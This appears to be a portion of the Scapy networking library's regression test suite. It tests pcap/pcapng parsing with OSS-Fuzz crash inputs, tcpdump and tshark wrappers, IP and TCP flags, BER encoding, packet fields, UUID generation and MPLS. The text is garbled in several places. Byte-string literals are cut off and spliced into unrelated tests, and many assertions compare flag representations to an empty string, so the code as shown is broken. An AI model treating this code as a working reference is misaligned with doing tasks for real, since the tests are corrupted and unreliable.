\x00\x00\x00\x01\x00\x00\x80$\x00\x00\x00")\x00\x00\x02\x00\x0c\x00mobileassetd\x00\x00\x00\x00$\x00\x00\x00\x06\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\xfb\x18\x06\x00EcqdB\x00\x00\x00B\x00\x00\x00\xe8\x9f\x80\xfa\x8c\xc6P\xa6\xd8\xd5\x83v\x08\x00E\x00\x004\x00\x00@\x00@\x06\x90T\nh\x01\xc3\xc0\xe5\xdd_\xf4\xb8\x00P\x95\xc3\xcb\x01\xcb\xeb\x11\xe8\x80\x11\x08\x00\x0c\xe6\x00\x00\x01\x01\x08\n\xbe\xb8\xd4\xb3\xbb\x9b4\xbc\x00\x00\x01\x80\x04\x00\x00\x00\x00\x00\x03\x80\x04\x00\x01\x00\x00\x00\x02\x00\x04\x00\x02\x00\x00\x00\x02\x80\x04\x00\x00\x00\x00\x00\x04\x80\x04\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00') l = rdpcap(pib_pcapng_file) assert(len(l) == 1) assert(TCP in l[0]) assert(len(l[0].process_information) == 2) assert(l[0].process_information["proc"]["name"] == "trustd") = OSS-Fuzz Findings from io import BytesIO # Issue 68352 file = BytesIO(b"\n\r\r\n\x1c\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x1c\x00\x00\x00\x01\x00\x00\x00\x14\x00\x00\x00\xe4\x00\x00\x00\x00\x00\x04\x00\x14\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\xe4\x00\x00\x00\x00\x00\x04\x00\x02\x00\t\x00b'ens16\xb0'\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x06\x00\x00\x004\x00\x00\x00\x01\x00\x00\x00}\x17\x06\x00\xb5t\x1d\x85\x14\x00\x00\x00\x14\x00\x00\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x014\x00\x00\x00") rdpcap(file) # Issue 68354 file = BytesIO(b'\n\r\r\n\xff\xfe\xfe\xffM<+\x1a') try: rdpcap(file) except Scapy_Exception: pass # Issue #70115 file = BytesIO(b"\n\r\r\n\x00\x00\x008\x1a+ Raise try: invalid_pcapngfile_1 = BytesIO(b'\n\r\r\n\r\x00\x00\x00M<+\x1a\xb2<\xb2\xa1\x01\x00\x00\x00\r\x00\x00\x00M<+\x1a\x80\xaa\xb2\x02') rdpcap(invalid_pcapngfile_1) assert False except Scapy_Exception: pass # Invalid Packet in PCAPNG -> return invalid_pcapngfile_2 = BytesIO(b'\n\r\r\n\x00\x00\x00\x1c\x1a+ raise EOFError try: invalid_pcapngfile_3 = BytesIO(b'\n\n\n\x14\x00\x00\x00M<+\x1a \x14\x00\x00\x00\x03\x00\x00\x00\x14\x00\x00\x00 \x14\x00\x00\x00') rdpcap(invalid_pcapngfile_3) assert False except Scapy_Exception: pass # Invalid SPB in PCAPNG -> raise EOFError try: invalid_pcapngfile_4 = BytesIO(b'\n\n\n\x14\x00\x00\x00M<+\x1a \x14\x00\x00\x00\x01\x00\x00\x00\x14\x00\x00\x00 \x14\x00\x00\x00\x03\x00\x00\x00\x0c\x00\x00\x00\x0c\x00\x00\x00') rdpcap(invalid_pcapngfile_4) assert False except Scapy_Exception: pass = Check PcapWriter on null write f = BytesIO() w = PcapWriter(f) w.write([]) assert len(f.getvalue()) == 0 # Stop being closed for reals, but we still want to have the header written with mock.patch.object(f, 'close') as cf: w.close() cf.assert_called_once_with() assert len(f.getvalue()) != 0 = Check PcapWriter sets correct linktype after null write f = BytesIO() w = PcapWriter(f) w.write([]) assert len(f.getvalue()) == 0 w.write(Ether()/IP()/ICMP()) assert len(f.getvalue()) != 0 # Stop being closed for reals, but we still want to have the header written with mock.patch.object(f, 'close') as cf: w.close() cf.assert_called_once_with() f.seek(0) or None assert len(f.getvalue()) != 0 r = PcapReader(f) f.seek(0) or None assert r.LLcls is Ether assert r.linktype == DLT_EN10MB l = [ p for p in RawPcapReader(f) ] assert len(l) == 1 = Check RawPcapReader on pcap ~ pcap fd = get_temp_file() wrpcap(fd, [Ether()/IP()/ICMP()]) assert len([p for p in RawPcapReader(fd)]) == 1 for (x, y) in RawPcapReader(fd): pass = Check RawPcapReader with a Context Manager ~ pcap filename = get_temp_file(fd=False) wrpcap(filename, [IP()/TCP(), IP()/UDP()]) try: with RawPcapReader(filename) as reader: packet = next(reader, None) assert True except TypeError: assert False = Check RawPcapWriter ~ pcap # GH3256 fd = get_temp_file() with RawPcapWriter(fd, linktype=1) as w: w.write(b"test") fd = get_temp_file() with RawPcapWriter(fd) as w: w.write(b"test") assert w.linktype == 1 = Check tcpdump() ~ tcpdump from io import BytesIO * No very specific tests because we do not want to depend on tcpdump output pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x000}$]\xff\\\t\x006\x00\x00\x006\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x000}$]\x87i\t\x00*\x00\x00\x00*\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r0}$]\xfbp\t\x00*\x00\x00\x00*\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') data = tcpdump(pcapfile, dump=True, args=['-nn']).split(b'\n') print(data) assert b'127.0.0.1.20 > 127.0.0.1.80:' in data[0] assert b'127.0.0.1.53 > 127.0.0.1.53:' in data[1] assert b'127.0.0.1 > 127.0.0.1:' in data[2] * Non existing tcpdump binary from unittest import mock conf_prog_tcpdump = conf.prog.tcpdump conf.prog.tcpdump = "tcpdump_fake" def _test_tcpdump_notcpdump(): try: tcpdump(IP()/TCP()) assert False except: assert True _test_tcpdump_notcpdump() conf.prog.tcpdump = conf_prog_tcpdump # Also check with use_tempfile=True (for non-OSX platforms) pcapfile.seek(0) or None tempfile_count = len(conf.temp_files) data = tcpdump(pcapfile, dump=True, args=['-nn'], use_tempfile=True).split(b'\n') print(data) assert b'127.0.0.1.20 > 127.0.0.1.80:' in data[0] assert b'127.0.0.1.53 > 127.0.0.1.53:' in data[1] assert b'127.0.0.1 > 127.0.0.1:' in data[2] # We should have another tempfile tracked. assert len(conf.temp_files) > tempfile_count # Check with a simple packet data = tcpdump([Ether()/IP()/ICMP()], dump=True, args=['-nn']).split(b'\n') print(data) assert b'127.0.0.1 > 127.0.0.1: ICMP' in data[0].upper() = Check tcpdump() command with linktype ~ tcpdump libpcap f = BytesIO() pkt = Ether()/IP()/ICMP() with mock.patch('subprocess.Popen', return_value=Bunch( stdin=f, wait=lambda: None)) as popen: # Prevent closing the BytesIO with mock.patch.object(f, 'close'): tcpdump([pkt], linktype="DLT_EN10MB", use_tempfile=False) expected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-U', '-r', '-'] if OPENBSD: expected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-r', '-'] popen.assert_called_once_with( expected_command, stdin=subprocess.PIPE, stdout=None, stderr=None) print(bytes_hex(f.getvalue())) assert raw(pkt) in f.getvalue() f.close() del f, pkt = Check tcpdump() command with linktype and args ~ tcpdump libpcap f = BytesIO() pkt = Ether()/IP()/ICMP() with mock.patch('subprocess.Popen', return_value=Bunch( stdin=f, wait=lambda: None)) as popen: # Prevent closing the BytesIO with mock.patch.object(f, 'close'): tcpdump([pkt], linktype=scapy.data.DLT_EN10MB, use_tempfile=False) expected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-U', '-r', '-'] if OPENBSD: expected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-r', '-'] popen.assert_called_once_with( expected_command, stdin=subprocess.PIPE, stdout=None, stderr=None) print(bytes_hex(f.getvalue())) assert raw(pkt) in f.getvalue() f.close() del f, pkt = Check sniff() offline with linktype & 802.11 filter ~ tcpdump linux fd = get_temp_file() wrpcap(fd, [RadioTap()/Dot11()/Dot11ProbeReq(), RadioTap()/Dot11()]) lst = sniff(offline=fd, filter="subtype probe-req") assert len(lst) == 1 = Check tcpdump() command rejects non-string input for prog pkt = Ether()/IP()/ICMP() try: tcpdump([pkt], prog=+17607067425, args=['-nn']) except ValueError as e: if hasattr(e, 'args'): assert 'prog' in e.args[0] else: assert 'prog' in e.message else: assert False, 'expected exception' = Check tcpdump() command with tshark ~ tshark pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') # tshark doesn't need workarounds on OSX tempfile_count = len(conf.temp_files) values = [tuple(int(val) for val in line[:-1].split(b'\t')) for line in tcpdump(pcapfile, prog=conf.prog.tshark, getfd=True, args=['-T', 'fields', '-e', 'ip.ttl', '-e', 'ip.proto'])] assert values == [(64, 6), (64, 17), (64, 1)] assert len(conf.temp_files) == tempfile_count = Check tdecode command directly for tshark ~ tshark pkts = [ Ether()/IP(src='192.0.2.1', dst='192.0.2.2')/ICMP(type='echo-request')/Raw(b'X'*100), Ether()/IP(src='192.0.2.2', dst='192.0.2.1')/ICMP(type='echo-reply')/Raw(b'X'*100), ] # tshark doesn't need workarounds on OSX tempfile_count = len(conf.temp_files) r = tdecode(pkts, dump=True) r assert b'Src: 192.0.2.1' in r assert b'Src: 192.0.2.2' in r assert b'Dst: 192.0.2.2' in r assert b'Dst: 192.0.2.1' in r assert b'Echo (ping) request' in r assert b'Echo (ping) reply' in r assert b'ICMP' in r assert len(conf.temp_files) == tempfile_count = Check tdecode with linktype ~ tshark # These are the same as the ping packets above pkts = [ b'\xff\xff\xff\xff\xff\xff\xac"\x0b\xc5j\xdb\x08\x00E\x00\x00\x80\x00\x01\x00\x00@\x01\xf6x\xc0\x00\x02\x01\xc0\x00\x02\x02\x08\x00\xb6\xbe\x00\x00\x00\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', b'\xff\xff\xff\xff\xff\xff\xac"\x0b\xc5j\xdb\x08\x00E\x00\x00\x80\x00\x01\x00\x00@\x01\xf6x\xc0\x00\x02\x02\xc0\x00\x02\x01\x00\x00\xbe\xbe\x00\x00\x00\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', ] # tshark doesn't need workarounds on OSX tempfile_count = len(conf.temp_files) r = tdecode(pkts, dump=True, linktype=DLT_EN10MB) assert b'Src: 192.0.2.1' in r assert b'Src: 192.0.2.2' in r assert b'Dst: 192.0.2.2' in r assert b'Dst: 192.0.2.1' in r assert b'Echo (ping) request' in r assert b'Echo (ping) reply' in r assert b'ICMP' in r assert len(conf.temp_files) == tempfile_count = Run scapy's tshark command ~ needs_root tshark(count=1, timeout=3) = Check wireshark() ~ wireshark f = BytesIO() pkt = Ether()/IP()/ICMP() with mock.patch('subprocess.Popen', return_value=Bunch(stdin=f)) as popen: # Prevent closing the BytesIO with mock.patch.object(f, 'close'): wireshark([pkt]) popen.assert_called_once_with( [conf.prog.wireshark, '-ki', '-'], stdin=subprocess.PIPE, stdout=None, stderr=None) print(bytes_hex(f.getvalue())) assert raw(pkt) in f.getvalue() f.close() del f, pkt = Check Raw IP pcap files import tempfile filename = tempfile.mktemp(suffix=".pcap") wrpcap(filename, [IP()/UDP(), IPv6()/UDP()], linktype=DLT_RAW) packets = rdpcap(filename) assert isinstance(packets[0], IP) and isinstance(packets[1], IPv6) = Check wrpcap() with no packet import tempfile filename = tempfile.mktemp(suffix=".pcap") wrpcap(filename, []) fstat = os.stat(filename) assert fstat.st_size != 0 os.remove(filename) = Check wrpcap() with SndRcvList import tempfile filename = tempfile.mktemp(suffix=".pcap") wrpcap(filename, SndRcvList(res=[(Ether()/IP(), Ether()/IP())])) assert len(rdpcap(filename)) == 2 os.remove(filename) = Check wrpcap() with different packets types from unittest import mock import os import tempfile with mock.patch("scapy.utils.warning") as warning: filename = tempfile.mktemp() wrpcap(filename, [IP(), Ether(), IP(), IP()]) os.remove(filename) assert any("Inconsistent" in arg for arg in warning.call_args[0]) = Check wrpcap() with the Loopback layer ~ tshark for cls in [Loopback, LoopbackOpenBSD]: filename = tempfile.mktemp(suffix=".pcap") wrpcap(filename, [cls()/IP()/ICMP()]) return_value = b"".join(line for line in tcpdump(filename, prog=conf.prog.tshark, getfd=True)) assert b"Echo (ping) request" in return_value ############ ############ + ERF Ethernet format support = Variable creations erffile = BytesIO(b'3;!E_9\x92_\x02\x04\x00p\x00\x00\x00P\x00\x00\x00\x0fS?\xca\xc0\x1cjz\x18\x90\xed\x81\x00\x01:\x08\x00E\x00\x00(\xdf\xab@\x00;\x06\xb3s\n\x01]\xdb\n\xfb9\xda\xc3v\x84\xecD\x16\xb9\xab\xda\xa1b\xf9P\x10f\x98\x18\xcb\x00\x00\x00\x00\x90\x9e\xd7\xd2_\x929_\x0f\x9e\xcd\x1f\x01\x88\xb9\x15[/s<\x01\x88\xb9\x15[/\xcd\x1f\x01\x88\xb9\x15[/0\xcd"E_9\x92_\x02\x04\x00p\x00\x00\x00P\x00\x00\x1cjz\x18\x90\xed\x00\x0fS?\xca\xc0\x08\x00E\x00\x00(\xa2\xdd@\x00@\x06\xebA\n\xfb9\xda\n\x01]\xdb\x84\xec\xc3v\xda\xa1b\xf9D\x16\xb9\xacP\x10\x9a\xf0\xe4q\x00\x00\x00\x00\x00\x00\x00\x00o\xbc\xe2{_\x929_\x0f\x9f+3\x01\x88\xb9\x15u\x1e(^\x01\x88\xb9\x15u\x1e+3\x01\x88\xb9\x15u\x1e') erffilewithheader = BytesIO(b'4;!E_9\x92_\x82\x00\x00x\x00\x00\x00P\x00\x00\x1a+' pkt.flags.MF = 0 pkt.flags.DF = 1 assert not pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' pkt.flags |= 'evil+MF' pkt.flags &= 'DF+MF' assert pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' pkt = IP(flags=3) assert pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' pkt.flags = 6 assert not pkt.flags.MF assert pkt.flags.DF assert pkt.flags.evil assert repr(pkt.flags) == '' assert len({IP().flags, IP().flags}) == 1 pkt = IP() pkt.flags = "" assert pkt.flags == 0 = TCP flags ~ TCP pkt = TCP(flags="SA") assert pkt.flags == 18 assert pkt.flags.S assert pkt.flags.A assert pkt.flags.SA assert not any(getattr(pkt.flags, f) for f in 'FRPUECN') assert repr(pkt.flags) == '' pkt.flags.U = True pkt.flags.S = False assert pkt.flags.A assert pkt.flags.U assert pkt.flags.AU assert not any(getattr(pkt.flags, f) for f in 'FSRPECN') assert repr(pkt.flags) == '' pkt.flags &= 'SFA' pkt.flags |= 'P' assert pkt.flags.P assert pkt.flags.A assert pkt.flags.PA assert not any(getattr(pkt.flags, f) for f in 'FSRUECN') pkt = TCP(flags=56) assert all(getattr(pkt.flags, f) for f in 'PAU') assert pkt.flags.PAU assert not any(getattr(pkt.flags, f) for f in 'FSRECN') assert repr(pkt.flags) == '' pkt.flags = 50 assert all(getattr(pkt.flags, f) for f in 'SAU') assert pkt.flags.SAU assert not any(getattr(pkt.flags, f) for f in 'FRPECN') assert repr(pkt.flags) == '' = Flag values mutation with .raw_packet_cache ~ IP TCP pkt = IP(raw(IP(flags="MF")/TCP(flags="SA"))) assert pkt.raw_packet_cache is not None assert pkt[TCP].raw_packet_cache is not None assert pkt.flags.MF assert not pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' assert pkt[TCP].flags.S assert pkt[TCP].flags.A assert pkt[TCP].flags.SA assert not any(getattr(pkt[TCP].flags, f) for f in 'FRPUECN') assert repr(pkt[TCP].flags) == '' pkt.flags.MF = 0 pkt.flags.DF = 1 pkt[TCP].flags.U = True pkt[TCP].flags.S = False pkt = IP(raw(pkt)) assert not pkt.flags.MF assert pkt.flags.DF assert not pkt.flags.evil assert repr(pkt.flags) == '' assert pkt[TCP].flags.A assert pkt[TCP].flags.U assert pkt[TCP].flags.AU assert not any(getattr(pkt[TCP].flags, f) for f in 'FSRPECN') assert repr(pkt[TCP].flags) == '' = Operations on flag values ~ TCP p1, p2 = TCP(flags="SU"), TCP(flags="AU") assert (p1.flags & p2.flags).U assert not any(getattr(p1.flags & p2.flags, f) for f in 'FSRPAECN') assert all(getattr(p1.flags | p2.flags, f) for f in 'SAU') assert (p1.flags | p2.flags).SAU assert not any(getattr(p1.flags | p2.flags, f) for f in 'FRPECN') assert TCP(flags="SA").flags & TCP(flags="S").flags == TCP(flags="S").flags assert TCP(flags="SA").flags | TCP(flags="S").flags == TCP(flags="SA").flags ############ ############ + 802.3 = Test detection assert isinstance(Dot3(raw(Ether())),Ether) assert isinstance(Ether(raw(Dot3())),Dot3) a = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00') assert isinstance(a,Dot3) assert a.dst == 'ff:ff:ff:ff:ff:ff' assert a.src == '00:00:00:00:00:00' a = Dot3(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x90\x00') assert isinstance(a,Ether) assert a.dst == 'ff:ff:ff:ff:ff:ff' assert a.src == '00:00:00:00:00:00' ############ ############ + ASN.1 = MIB ~ mib import tempfile fd, fname = tempfile.mkstemp() os.write(fd, b"-- MIB test\nscapy OBJECT IDENTIFIER ::= {test 2807}\n") os.close(fd) load_mib(fname) assert sum(1 for k in conf.mib.d.values() if "scapy" in k) == 1 assert sum(1 for oid in conf.mib) > 100 = MIB - graph ~ mib from unittest import mock @mock.patch("scapy.asn1.mib.do_graph") def get_mib_graph(do_graph): def store_graph(graph, **kargs): assert graph.startswith("""digraph "mib" {""") assert """"test.2807" [ label="scapy" ];""" in graph do_graph.side_effect = store_graph conf.mib._make_graph() get_mib_graph() = MIB - test aliases ~ mib # https://github.com/secdev/scapy/issues/2542 assert conf.mib._oidname("2.5.29.19") == "basicConstraints" = DADict tests a = DADict("test") a[0] = "test_value1" a["scapy"] = "test_value2" assert a.test_value1 == 0 assert a.test_value2 == "scapy" with ContextManagerCaptureOutput() as cmco: a._show() outp = cmco.get_output() assert "scapy = 'test_value2'" in outp assert "0 = 'test_value1'" in outp = Test ETHER_TYPES assert ETHER_TYPES.IPv4 == 2048 try: import warnings with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") ETHER_TYPES["BAOBAB"] = 0xffff assert ETHER_TYPES.BAOBAB == 0xffff assert issubclass(w[-1].category, DeprecationWarning) except DeprecationWarning: # -Werror is used pass = MIB - Check that MIB OIDs are not duplicated ~ mib from scapy.asn1.mib import x509_oids_sets _dct = {} for d in x509_oids_sets: for elt in d: if elt in _dct: raise ValueError("OID %s already exists" % elt) _dct.update(d) = BER tests BER_id_enc(42) == '*' BER_id_enc(2807) == b'\xbfw' b = BERcodec_IPADDRESS() r1 = b.enc("8.8.8.8") r1 == b'@\x04\x08\x08\x08\x08' r2 = b.dec(r1)[0] r2.val == '8.8.8.8' a = b'\x1f\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\xfe\x01\x01\x00C\x02\x01U0\x0f0\r\x06\x08+\x06\x01\x02\x01\x02\x01\x00\x02\x01!' ret = False try: BERcodec_Object.check_type(a) except BER_BadTag_Decoding_Error: ret = True else: ret = False assert ret = BER trigger failures try: BERcodec_INTEGER.do_dec(b"\x02\x01") assert False except BER_Decoding_Error: pass ############ ############ + Fields = FieldLenField with BitField class Test(Packet): name = "Test" fields_desc = [ FieldLenField("BitCount", None, fmt="H", count_of="Values"), FieldLenField("ByteCount", None, fmt="B", length_of="Values"), FieldListField("Values", [], BitField("data", 0x0, size=1), count_from=lambda pkt: pkt.BitCount), ] pkt = Test(raw(Test(Values=[0, 0, 0, 0, 1, 1, 1, 1]))) assert pkt.BitCount == 8 assert pkt.ByteCount == 1 = PacketListField class TestPacket(Packet): name = 'TestPacket' fields_desc = [ PacketListField('list', [], 0) ] a = TestPacket() a.list.append(1) assert len(a.list) == 1 b = TestPacket() assert len(b.list) == 0 = Test PacketListField deepcopy class SubPacket(Packet): name = "SubPacket" fields_desc = [ ByteField("mem", 1), ] class TestPacket(Packet): name = "TestPacket" fields_desc = [ PacketListField("packlist", SubPacket(), SubPacket), ] a = TestPacket() b = a.copy() fuzz(b) assert a.packlist[0].mem == 1 = PacketField class InnerPacket(Packet): fields_desc = [ StrField("f_name", "test") ] class TestPacket(Packet): fields_desc = [ PacketField("inner", InnerPacket(), InnerPacket) ] p = TestPacket() print(p.inner.f_name) assert p.inner.f_name == b"test" p = TestPacket() p.inner.f_name = b"scapy" assert p.inner.f_name == b"scapy" p = TestPacket() assert p.inner.f_name == b"test" + UUIDField = Parsing a human-readable UUID f = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef') f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') = Parsing a machine-encoded UUID f = UUIDField('f', bytearray.fromhex('0123456789abcdef0123456789abcdef')) f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') = Parsing a tuple of values f = UUIDField('f', (0x01234567, 0x89ab, 0xcdef, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef)) f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') = Handle None values f = UUIDField('f', None) f.addfield(None, b'', f.default) == hex_bytes('00000000000000000000000000000000') = Get a UUID for dissection from uuid import UUID f = UUIDField('f', None) f.getfield(None, bytearray.fromhex('0123456789abcdef0123456789abcdef01')) == (b'\x01', UUID('01234567-89ab-cdef-0123-456789abcdef')) = Verify little endian UUIDField * The endianness of a UUIDField should be apply by block on each block in parenthesis '(01234567)-(89ab)-(cdef)-(01)(23)-(45)(67)(89)(ab)(cd)(ef)' f = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef', uuid_fmt=UUIDField.FORMAT_LE) f.addfield(None, b'', f.default) == hex_bytes('67452301ab89efcd0123456789abcdef') = Verify reversed UUIDField * This should reverse the entire value as 128-bits f = UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef', uuid_fmt=UUIDField.FORMAT_REV) f.addfield(None, b'', f.default) == hex_bytes('efcdab8967452301efcdab8967452301') + RandUUID = RandUUID setup RANDUUID_TEMPLATE = '01234567-89ab-*-01*-*****ef' RANDUUID_FIXED = uuid.uuid4() = RandUUID default behaviour ru = RandUUID() assert ru._fix().version == 4 assert ru.command() == "RandUUID()" = RandUUID incorrect implicit args assert expect_exception(ValueError, lambda: RandUUID(node=0x1234, name="scapy")) assert expect_exception(ValueError, lambda: RandUUID(node=0x1234, namespace=uuid.uuid4())) assert expect_exception(ValueError, lambda: RandUUID(clock_seq=0x1234, name="scapy")) assert expect_exception(ValueError, lambda: RandUUID(clock_seq=0x1234, namespace=uuid.uuid4())) assert expect_exception(ValueError, lambda: RandUUID(name="scapy")) assert expect_exception(ValueError, lambda: RandUUID(namespace=uuid.uuid4())) = RandUUID v4 UUID (correct args) u = RandUUID(version=4)._fix() assert u.version == 4 u2 = RandUUID(version=4)._fix() assert u2.version == 4 assert str(u) != str(u2) = RandUUID v4 UUID (incorrect args) assert expect_exception(ValueError, lambda: RandUUID(version=4, template=RANDUUID_TEMPLATE)) assert expect_exception(ValueError, lambda: RandUUID(version=4, node=0x1234)) assert expect_exception(ValueError, lambda: RandUUID(version=4, clock_seq=0x1234)) assert expect_exception(ValueError, lambda: RandUUID(version=4, namespace=uuid.uuid4())) assert expect_exception(ValueError, lambda: RandUUID(version=4, name="scapy")) = RandUUID v1 UUID u = RandUUID(version=1)._fix() assert u.version in [1, 4] u = RandUUID(version=1, node=0x1234)._fix() assert u.version == 1 assert u.node == 0x1234 u = RandUUID(version=1, clock_seq=0x1234)._fix() assert u.version == 1 assert u.clock_seq == 0x1234 ru = RandUUID(version=1, node=0x1234, clock_seq=0x1bcd) assert ru.command() == "RandUUID(node=4660, clock_seq=7117, version=1)" u = ru._fix() assert u.version == 1 assert u.node == 0x1234 assert u.clock_seq == 0x1bcd = RandUUID v1 UUID (implicit version) u = RandUUID(node=0x1234)._fix() assert u.version == 1 assert u.node == 0x1234 u = RandUUID(clock_seq=0x1234)._fix() assert u.version == 1 assert u.clock_seq == 0x1234 u = RandUUID(node=0x1234, clock_seq=0x1bcd)._fix() assert u.version == 1 assert u.node == 0x1234 assert u.clock_seq == 0x1bcd = RandUUID v1 UUID (incorrect args) assert expect_exception(ValueError, lambda: RandUUID(version=1, template=RANDUUID_TEMPLATE)) assert expect_exception(ValueError, lambda: RandUUID(version=1, namespace=uuid.uuid4())) assert expect_exception(ValueError, lambda: RandUUID(version=1, name="scapy")) = RandUUID v5 UUID ru = RandUUID(version=5, namespace=RANDUUID_FIXED, name="scapy") u = ru._fix() assert u.version == 5 assert ru.command() == "RandUUID(namespace=%r, name='scapy', version=5)" % RANDUUID_FIXED u2 = RandUUID(version=5, namespace=RANDUUID_FIXED, name="scapy")._fix() assert u2.version == 5 assert u.bytes == u2.bytes # implicit v5 u2 = RandUUID(namespace=RANDUUID_FIXED, name="scapy")._fix() assert u.bytes == u2.bytes = RandUUID v5 UUID (incorrect args) assert expect_exception(ValueError, lambda: RandUUID(version=5, template=RANDUUID_TEMPLATE)) assert expect_exception(ValueError, lambda: RandUUID(version=5, node=0x1234)) assert expect_exception(ValueError, lambda: RandUUID(version=5, clock_seq=0x1234)) = RandUUID v3 UUID u = RandUUID(version=3, namespace=RANDUUID_FIXED, name="scapy")._fix() assert u.version == 3 u2 = RandUUID(version=3, namespace=RANDUUID_FIXED, name="scapy")._fix() assert u2.version == 3 assert u.bytes == u2.bytes # implicit v5 u2 = RandUUID(namespace=RANDUUID_FIXED, name="scapy")._fix() assert u.bytes != u2.bytes = RandUUID v3 UUID (incorrect args) assert expect_exception(ValueError, lambda: RandUUID(version=5, template=RANDUUID_TEMPLATE)) assert expect_exception(ValueError, lambda: RandUUID(version=5, node=0x1234)) assert expect_exception(ValueError, lambda: RandUUID(version=5, clock_seq=0x1234)) = RandUUID looks like a UUID with str assert re.match(r'[0-9a-f]{8}(-[0-9a-f]{4}){3}-[0-9a-f]{12}', str(RandUUID()), re.I) is not None = RandUUID with a static part * RandUUID template can contain static part such a 01234567-89ab-*-01*-*****ef ru = RandUUID('01234567-89ab-*-01*-*****ef') assert re.match(r'01234567-89ab-[0-9a-f]{4}-01[0-9a-f]{2}-[0-9a-f]{10}ef', str(ru), re.I) is not None assert ru.command() == "RandUUID(template='01234567-89ab-*-01*-*****ef')" = RandUUID with a range part * RandUUID template can contain a part with a range of values such a 01234567-89ab-*-01*-****c0:c9ef assert re.match(r'01234567-89ab-[0-9a-f]{4}-01[0-9a-f]{2}-[0-9a-f]{8}c[0-9]ef', str(RandUUID('01234567-89ab-*-01*-****c0:c9ef')), re.I) is not None ############ ############ + MPLS tests = MPLS - build/dissection from scapy.contrib.mpls import EoMCW, MPLS p1 = MPLS()/IP()/UDP() assert p1[MPLS].s == 1 p2 = MPLS()/MPLS()/IP()/UDP() assert p2[MPLS].s == 0 p1[MPLS] p1[IP] p2[MPLS] p2[MPLS:1] p2[IP] = MPLS encapsulated 